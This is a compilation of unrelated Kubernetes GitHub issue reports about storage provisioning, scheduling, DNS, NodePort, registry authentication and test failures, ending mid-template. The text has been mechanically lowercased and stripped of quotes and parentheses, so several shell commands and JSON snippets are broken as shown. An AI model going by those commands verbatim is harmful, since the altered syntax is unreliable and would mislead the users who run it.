baremetal\r https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : if a pvc with delayed binding fails to provision  for example due to a storageclass parameter error , even when the error is fixed later on, provisioning never succeeds.\r \r   what you expected to happen  : after the error is fixed, provisioning should retry and succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a storageclass with volumebindingmode = waitforfirstconsumer, and set some garbage parameters to eventually cause provisioning to fail.\r - create a pvc using the storageclass\r - create a pod that consumes the pvc. provisioning should fail\r - recreate the storageclass with parameters removed.\r under correct operation, the provisioner should successfully retry and create a pv, and the pod should proceed to start. but this is not the case.\r \r   anything else we need to know?  :\r when the pvc first fails to provision, the consumer pod has the following events:\r    \r   type     reason            age                from               message\r   ----     ------            ----               ----               -------\r   warning  failedscheduling  37s                default-scheduler  selectednode annotation value \ \  not set to scheduled node \  node \ \r   warning  failedscheduling  37s                default-scheduler  pod has unbound immediate persistentvolumeclaims  repeated 2 times \r   warning  failedscheduling  37s                default-scheduler  assumepod failed: pod 8e98377a-fcd7-11e8-beb7-42010a800002 is in the cache, so can't be assumed\r   warning  failedscheduling  0s  x18 over 37s   default-scheduler  pod has unbound immediate persistentvolumeclaims  repeated 3 times \r    \r \r after the error is fixed, the last event  unbound immediate pvcs  keeps firing.\r \r for some reason the scheduler doesn't think the pvc uses delayed binding:\r https://github.com/kubernetes/kubernetes/blob/67bc6d2083d94b38e5c8b249fe91aeafa1a0af19/pkg/controller/volume/persistentvolume/scheduler_binder.go l504\r \r one possible cause is somehow the scheduler thinks the selectednode annotation still exists in the pvccache  the provisioner removed the annotation after provisioning failure :\r https://github.com/kubernetes/kubernetes/blob/67bc6d2083d94b38e5c8b249fe91aeafa1a0af19/pkg/controller/volume/persistentvolume/pv_controller.go l297\r or the scheduler failed to get the storageclass. i'm not sure atm why either could happen.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.3, 1.13\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /cc @msau42 \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r when i use inline csi volume, i  there may exist some issues in the current implementation. though i use a inline csi volume,  kubelet actually would get the volumeuniquename of pv\r ! image  https://user-images.githubusercontent.com/12230714/54742098-667f3d00-4bfb-11e9-940b-b90c10734127.png \r \r i find kubelet may panic when i use  inline csi volume due to some functions need pv but only volume provided\r ! image  https://user-images.githubusercontent.com/12230714/54748894-ef06d900-4c0d-11e9-8821-d9b39999979b.png \r \r \r   what you expected to happen  :\r \r volume should be successful mounted\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i have a vm instance on gce. i try to create a node based on the following json file:      {   \ kind\ : \ node\ ,   \ apiversion\ : \ v1beta3\ ,   \ metadata\ : {     \ name\ : \ 10.240.79.157\ ,     \ labels\ : {       \ name\ : \ my-first-k8s-node\      }   } }       10.240.79.157  is the internal ip of the vm instance, and i have set up firewall rules to allow http/https traffic.   kubectl get nodes  shows the node is created but it's in the status \ unknown\  and then it is deleted. did i miss something in my json file? thanks. @yujuhong @dchen1107

right now it seems that scheduler tries to place pods on nodes that have the most free space. however, from the cluster autoscaler perspective it would be best to place them on the more busy nodes so that the unused nodes are easier to remove.  cc: @fgrzadkowski @davidopp @piosz @jszczepkowski

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging/6142/  failed:  k8s.io  configmap should be consumable from pods in volume  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/configmap.go:37 expected error:     < errors.errorstring | 0xc820ed2a40>: {         s: \ gave up waiting for pod 'pod-configmaps-aaf3ae08-4ae8-11e6-9b33-0242ac110009' to be 'success or failure' after 5m0s\ ,     }     gave up waiting for pod 'pod-configmaps-aaf3ae08-4ae8-11e6-9b33-0242ac110009' to be 'success or failure' after 5m0s not to have occurred

pod spec validation rejects env variable keys that contain dots  eg \ foo.bar\  , but \ foo.bar\  is a valid env variable name for some  though not all  shell environments, so this validation rule is overly strict.  @smarterclayton

we have a general deletion mechanism that leaves objects in the system while cleanup is being performed. we need to document this clearly and set expectations. - what do we call this phase of an object's lifecycle?  terminating  - does this imply a global state machine for all objects?  angry philosophical ranting  - how do you tell when an object is in this cleanup phase?  deletiontimestamp != nil  - when is the object really deleted?  when the last finalizer is removed. also something about grace period.  - can you add more finalizers to terminating objects?  no  - can you make unrelated updates to terminating objects?  yes, currently  - when is an object's name released for reuse?  after it exits the terminating phase

i have searched for all issues containing \ client cert pull\  and also \ docker-registry\ .  i've located one issue which is strongly related, but not the same.  ideally mutual tls authentication is handled in one improvement.\r  41040 asks how to use a server cert  ca.crt  without adding to /etc/docker/certs.d on each node and seems to incorrectly states that the client cert and key can be specified with  kubectl secret docker-registry   afaik, the client cert and client key that can be specified are used to connect to the api server.  they are definitely not added to the generated secret .\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-\r 01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-\r 01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke with gcloud shell for kubectl\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : linux cs-6282-devshell-vm-7d07fe2a-a8f5-4e2d-bf2b-e8c744a77ad3-2d1 3.16.0-4-amd64  1 smp debian 3.16.39-1  2016-12-30  x86_64 gnu/linux\r \r   what happened  :\r    \r $ kubectl create secret docker-registry image-pull \\\r --docker-username=my-username \\\r --docker-password=\ my-password\  \\\r --docker-server=\ my-registry.example.com\  \\\r --client-certificate=/etc/docker/certs.d/my-registry.example.com/client.cert \\\r --client-key=/etc/docker/certs.d/my-registry.example.com/client.key \\\r --docker-email=\ my-email@example.com\ \r $ kubectl get secret image-pull -o yaml | grep dockercfg\\: | awk '{print $2}' | base64 -d\r {\ my-registry.example.com\ :{\ username\ :\ my-username\ ,\ password\ :\ my-password\ ,\ email\ :\ my-mail@example.com\ ,\ auth\ :\ bxktdxnlcm5hbwu6bxktcgfzc3dvcmq=\ }}\r   no client cert!\r    \r   what you expected to happen  :\r i expect the client-certificate and client-key to be part of the secret so that they are used during image pull.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a client certificate and then attempt to add it to a pull secret:\r    \r   create a self-signed client certificate as an example\r $ openssl req -nodes -new -x509 -keyout client.key -out client.cert\r   other instructions above\r    \r in story form: use a docker registry that requires a client certificate for authentication.  attempt to add a client cert to a pull secret and use that cert for pulling images.  it seems that the only way to use a client cert is by adding the cert and key to the /etc/docker/certs.d/{registry} directory on every host.  this is not possible in many environments, including gke.\r \r   anything else we need to know  :\r even if the client cert and key were stored within the secret object, i think that's only half the problem.  the cert and key would also need to be used by docker for the image pull and i think the only supported method is files on the host.\r this might require changes upstream within docker to work?  i don't think kubectl will write the client cert and key onto each host, which may be an information leakage problem.\r \r i'm creating this issue to initiate or locate a discussion about how to configure mutual tls authentication/client cert authentication for image pulls.\r \r update: perhaps kubernetes could be a  docker credential helper  https://github.com/docker/docker-credential-helpers ?\r

kubernetes version: 1.5.3\r platform: aws\r deploy tool: kops\r \r my master's   /var/log/kube-controller-manager.log  \r \r is receiving this type of log:\r \r    \r i0302 21:51:11.715415       6 node_status_updater.go:74  could not update node status. failed to find node \ ip-172-20-114-85.ec2.internal\  in nodeinformer cache. <nil>\r i0302 21:51:11.815662       6 node_status_updater.go:74  could not update node status. failed to find node \ ip-172-20-114-85.ec2.internal\  in nodeinformer cache. <nil>\r i0302 21:51:11.915905       6 node_status_updater.go:74  could not update node status. failed to find node \ ip-172-20-114-85.ec2.internal\  in nodeinformer cache. <nil>\r i0302 21:51:12.016217       6 node_status_updater.go:74  could not update node status. failed to find node \ ip-172-20-114-85.ec2.internal\  in nodeinformer cache. <nil>\r i0302 21:51:12.116508       6 node_status_updater.go:74  could not update node status. failed to find node \ ip-172-20-114-85.ec2.internal\  in nodeinformer cache. <nil>\r i0302 21:51:12.216725       6 node_status_updater.go:74  could not update node status. failed to find node \ ip-172-20-114-85.ec2.internal\  in nodeinformer cache. <nil>\r i0302 21:51:12.316962       6 node_status_updater.go:74  could not update node status ...\r    \r \r lots of times per second, this node \ ip-172-20-114-85.ec2.internal\  does not exist in the cluster anymore and is not shown if i    kubectl get nodes   \r \r shouldn't it be removed from status_updater?

is this a request for help?  \r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  \r \r ingress, hosts and /etc/hosts\r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r there have already been a few issues regarding modifying  /etc/hosts : https://github.com/kubernetes/kubernetes/issues/20079, https://github.com/kubernetes/kubernetes/issues/12337.\r \r but both have a different use-case.\r \r first some information before i explain my use-case. i have a pod which run a web app  nginx container + php-fpm container  and it available over multiple sub domains. i want request to the exposed sub-/domains  ex. foobar.com  to go directly to the local webserver instant of going the long way  cloudflare -> ingress controller -> node -> container .\r there is 2 reason behind this:\r 1. it is faster/reduce overhead.\r 2. some of our app code call the exposed domains, and need to hit the same server, as the request oriented from  the code write to some tmp file, and other php code need to read that tmp file, when it get a request. bad design: properly .\r \r cc @thockin \r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4+coreos.0\ , gitcommit:\ 97c11b097b1a2b194f1eddca8ce5468fcc83331c\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t23:54:21z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r digitalocean, coreos.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : juju\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r   description  :\r \r currently there is no way to set --runtime-config value when kubernetes is deployed using juju charms.  i need to use cronjob resources and official documentation says i need this option set:\r  --runtime-config=batch/v2alpha1=true \r \r could support for setting that and other flags be added?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r daemon.log, didn't find any duplicates.\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : linux ip-172-20-117-135 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux\r -   install tools  :\r -   others  : cluster deployed with kops\r \r \r   what happened  :\r \r i started seeing  the node was low on resource: nodefs  error. so i ssh-ed to the node and ran  df -h  to see which volume is getting filled. i noticed that the root is the one that's getting filled. after some digging, i found that  /var/log/daemon.log  is  4.5gb  in size. i tailed it and noticed that kubelet is printing lots and lots of error messages. example:\r    \r jun 10 23:08:45 ip-172-20-117-135 dockerd 1341 : time=\ 2017-06-10t23:08:45.841659435z\  level=error msg=\ handler for get /v1.24/containers/1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b/json returned error: open /var/lib/docker/overlay/b1944b7b5d690efd689605cf505f8eedab78650ae6a9252ccef6f304aa4b986c/lower-id: no such file or directory\ \r jun 10 23:08:45 ip-172-20-117-135 kubelet 1672 : e0610 23:08:45.841974    1672 remote_runtime.go:269  containerstatus \ 1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b\  from runtime service failed: rpc error: code = 2 desc = error: no such container: 1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b\r jun 10 23:08:45 ip-172-20-117-135 kubelet 1672 : e0610 23:08:45.842029    1672 kuberuntime_container.go:385  containerstatus for 1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b error: rpc error: code = 2 desc = error: no such container: 1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b\r jun 10 23:08:45 ip-172-20-117-135 kubelet 1672 : e0610 23:08:45.842042    1672 kuberuntime_manager.go:858  getpodcontainerstatuses for pod \ kubernetes-d2368c1bf726479e8f9a3c03a80e33da-2417b2c2ab29c_default 40f5bd67-4659-11e7-a623-0e065b54a61a \  failed: rpc error: code = 2 desc = error: no such container: 1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b\r jun 10 23:08:45 ip-172-20-117-135 kubelet 1672 : e0610 23:08:45.842069    1672 generic.go:269  pleg: pod kubernetes-d2368c1bf726479e8f9a3c03a80e33da-2417b2c2ab29c/default failed reinspection: rpc error: code = 2 desc = error: no such container: 1ae96d259fe1f37714d499b3f2747065476ad2fff5bcbf7e8985589ccfda8a3b\r    \r here's a link with the last 100 lines of the log : https://pastebin.com/mtjkgn2f\r \r edit: i managed to stop the flow of logs by running:\r    \r sudo docker rm $ sudo docker ps -a | grep -v up | awk '{print $1}' \r    \r   what you expected to happen  :\r kubelet should be able to handle those errors gracefully without spamming  daemon.log .\r \r   how to reproduce it    as minimally and precisely as possible :\r no clue so far. the node that's having this problem has been running for 17 days.\r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r \r   what happened  :\r \r when i use priorityclass, i create two global default priorityclass and there is nothing wrong\r \r   what you expected to happen  :\r  controller should prevent it.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1  install kubernetes with https://github.com/kubernetes/kubernetes/tree/master/pkg/proxy/ipvs local-up-cluster\r \r 2  after the cluster is ready, check ipvs is working well\r \r    \r root@k8s001:~/cases  ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.0.0.1:443 rr persistent 10800\r   -> 10.0.3.15:6443               masq    1      1          1\r tcp  10.0.0.10:53 rr\r   -> 172.17.0.2:53                masq    1      0          0\r udp  10.0.0.10:53 rr\r   -> 172.17.0.2:53                masq    1      0          0\r    \r \r 3  create a service with nodeport\r \r    \r root@k8s001:~/cases  cat  nginx.yaml.2\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   ports:\r   - name: nginx\r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     run: my-nginx\r   type: nodeport\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: my-nginx\r   template:\r     metadata:\r       labels:\r         run: my-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r 4  after the service created, check the services.\r \r pod is running\r    \r root@k8s001:~/cases  kc get pods\r name                        ready     status    restarts   age\r my-nginx-6799bc5758-r75dm   1/1       running   0          4m\r    \r \r service is running\r    \r root@k8s001:~/cases  kc get svc\r name         type        cluster-ip   external-ip   port s         age\r kubernetes   clusterip   10.0.0.1     <none>        443/tcp        8m\r my-nginx     nodeport    10.0.0.176   <none>        80:30750/tcp   5m\r    \r \r clusterip is working well\r    \r root@k8s001:~/cases  curl 10.0.0.176\r <!doctype html>\r <html>\r <head>\r <title>welcome to nginx!</title>\r <style>\r     body {\r         width: 35em;\r         margin: 0 auto;\r         font-family: tahoma, verdana, arial, sans-serif;\r     }\r </style>\r </head>\r <body>\r <h1>welcome to nginx!</h1>\r <p>if you see this page, the nginx web server is successfully installed and\r working. further configuration is required.</p>\r \r <p>for online documentation and support please refer to\r <a href=\ http://nginx.org/\ >nginx.org</a>.<br/>\r commercial support is available at\r <a href=\ http://nginx.com/\ >nginx.com</a>.</p>\r \r <p><em>thank you for using nginx.</em></p>\r </body>\r </html>\r    \r \r    \r root@k8s001:~/cases  ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.0.0.1:443 rr persistent 10800\r   -> 10.0.3.15:6443               masq    1      1          0\r tcp  10.0.0.10:53 rr\r   -> 172.17.0.2:53                masq    1      0          0\r tcp  10.0.0.176:80 rr\r   -> 172.17.0.3:80                masq    1      0          1\r udp  10.0.0.10:53 rr\r   -> 172.17.0.2:53                masq    1      0          0\r    \r \r nodeport hang  as following:\r    \r root@k8s001:~/cases  curl 192.168.56.11:30750\r \r    \r \r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing jobs\r    gce-master-1.10-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.10-downgrade-cluster \r    gce-master-1.10-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.10-downgrade-cluster-parallel \r    gke-gci-master-gci-1.10-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.10-downgrade-cluster-parallel \r \r    gubernator logs from recent runs\r    ci-kubernetes-e2e-gce-master-new-downgrade-cluster  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/598 \r    ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/2642 \r    ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/2828 \r \r this test is currently failing in sig-release master-upgrade suite. this could potentially block beta cut which is on 5/15.  @bentheelder you please triage this issue and assign to the rightful owner.\r \r  / /  /milestone v1.11\r @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper @timothysc \r \r /assign @bentheelder

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  : kubectl create service yaml file\r \r   what you expected to happen  : i can use kubectl create --edit -f $filename to edit the service yaml file\r \r   how to reproduce it  as minimally and precisely as possible   :kubectl create service clusterip my-svc --clusterip=\ none\  -o yaml --dry-run > /tmp/srv.yaml\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.10\r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :4.4.0\r - install tools:binary\r - others:\r when i execute the cmd like this:\r  kubectl create service clusterip my-svc --clusterip=\ none\  -o yaml --dry-run > /tmp/srv.yaml \r the srv.yaml file does not contains apiversion and kind,see below:\r  metadata:\r   creationtimestamp: null\r   labels:\r     app: my-svc\r   name: my-svc\r spec:\r   clusterip: none\r   selector:\r     app: my-svc\r   type: clusterip\r status:\r   loadbalancer: {}\r  \r \r

 \r   what happened  :\r dns service discovery doesn't work:\r    \r user@server1:~$ kubectl exec pbox -- nslookup kubernetes\r server:\t\t10.96.0.10\r address:\t10.96.0.10:53\r \r    server can't find kubernetes: nxdomain\r \r     can't find kubernetes: no answer\r \r user@server1:~$ kubectl exec -n kube-system coredns-78fcdf6894-hsqsk -- nslookup kubernetes\r server:\t\t172.31.0.2\r address:\t172.31.0.2 53\r \r    server can't find kubernetes: nxdomain\r \r command terminated with exit code 1\r user@server1:~$ kubectl exec -n kube-system coredns-78fcdf6894-hsqsk -- cat /etc/resolv.conf \r nameserver 172.31.0.2\r search mylabserver.com\r user@dsutyagin1:~$ kubectl exec -n kube-system coredns-78fcdf6894-hsqsk -- nslookup kubernetes.default.svc.cluster.local\r server:\t\t172.31.0.2\r address:\t172.31.0.2 53\r \r    server can't find kubernetes.default.svc.cluster.local: nxdomain\r \r command terminated with exit code 1\r user@server1:~$ kubectl exec -n kube-system coredns-78fcdf6894-hsqsk -- nslookup kubernetes.default.svc.cluster.local.\r server:\t\t172.31.0.2\r address:\t172.31.0.2 53\r \r    server can't find kubernetes.default.svc.cluster.local: nxdomain\r \r command terminated with exit code 1\r    \r \r   what you expected to happen  :\r dns service discovery works\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure, i've started back my ubuntu-based kubernetes lab on linux academy to go through dns exercise and found that dns discovery doesn't work; dns in general works.\r \r   anything else we need to know?  :\r i have recently updated the lab using kubeadm from 1.10 to 1.11, and kube-dns was replaced with coredns.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r linux academy vm\r - os  e.g. from /etc/os-release :\r clean ubuntu xenial with manually installed kubernetes\r - kernel  e.g.  uname -a  :\r 4.4.0-1062-aws\r - install tools:\r kubeadm

context: https://github.com/kubernetes/kubernetes/pull/67562 discussion_r211267314.\r \r  creationtimestamp  is a struct  metav1.time  right now:\r \r https://github.com/kubernetes/kubernetes/blob/6d51311735705ecf30025df91216a82f397c9cfb/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/types.go l175\r \r however, it also has the  omitempty  json tag. the current behaviour at various places is to remove the field if it is an empty value.\r \r from the  official docs  https://golang.org/pkg/encoding/json/ marshal ,\r \r >  the \ omitempty\  option specifies that the field should be omitted from the encoding if the field has an empty value, defined as false, 0, a nil pointer, a nil interface value, and any empty array, slice, map, or string. \r \r this means that  omitempty  holds no meaning for structs. no matter what value  creationtimestamp  has, it should persist in the object. to truly adapt to it's intended behaviour, it should be a pointer   time.time , like  deletiontimestamp . it also makes sense to have  creationtimestamp  as optional logically.\r \r right now, we don't allow an empty  creationtimestamp  to persist anyway, so it doesn't create a problem per se.\r \r  /cc @sttts @liggitt @deads2k @lavalamp

the https://git.k8s.io/kubernetes/pkg/cloudprovider/readme.md needs updating to be in line with community agreed trajectory for the movement of cloud provider code out of k/k.  for example the current statement:\r \r    \r deprecation notice: this directory has entered maintenance mode and will not be accepting new providers. cloud providers in this directory will continue to be actively developed or maintained and supported at their current level of support as a longer-term solution evolves.\r    \r \r this statement is approximately 16 months old and implies there is still ambiguity, where there is now a much more clear plan which should be clearly communicated to those who might waste their time investing work in modifying something in this directory.  the situation is one increasingly past maintenance mode, with out-of-tree implementations the goal in the 1.13 cycle followed by removal of in-tree provider code a few cycles later.\r \r see also discussion on slack: https://kubernetes.slack.com/messages/c718bpbq8/ \r \r \r  /  /assign @andrewsykim

kubernetes pod has default routes.it meet most ue.but sometimes pods have special-nerwork environment. this means pods may require special networks configuration.pod dns configuration is open for end-users.but pod routes is still black box for end-users.\r if this is needed, i can code for this features.

today, daemonset pods will be scheduled even on nodes that are marked  schedulingdisabled    node.spec.unschedulable==true  .  is there an out-of-the-box way to use a selector to select only schedulable nodes? or is the user required to manually label their nodes and then use an appropriate selector?  cc: @theobolo

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/10305/  failed:  k8s.io  events should be sent by kubelets and the scheduler about pods scheduling and running  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/events.go:128 expected error:     < errors.statuserror | 0xc820d84500>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server does not allow access to the requested resource  get events \ ,             reason: \ forbidden\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ events\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ forbidden: \\\ /api/v1/namespaces/e2e-tests-events-ozczx/events?fieldselector=involvedobject.kind%3dpod%2cinvolvedobject.namespace%3de2e-tests-events-ozczx%2cinvolvedobject.uid%3de0984db6-3f71-11e6-bdba-42010af0002d%2csource%3ddefault-scheduler\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 403,         },     }     the server does not allow access to the requested resource  get events  not to have occurred

use flexvolume to implement an external volume plugin. for current flexvolume, interface mathod attach and mount can get all parameters from api or cmd,  attach:  <driver executable> attach <json options> attach:  <driver executable> attach <json options>   but, for interface method unmount and detach, only every simple parameters provided.  unmount:  <driver executable> unmount <mount dir> detach:  <driver executable> detach <mount device>   esspecially for method detach, only 'device' may could not determine the related volume for external volume, so if passing the parameter options to interface will take a better effect. cmd like:  unmount:  <driver executable> unmount <mount dir> <json options> detach:  <driver executable> detach <mount device> <json options>

is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : baremental\r -   os    e.g. from 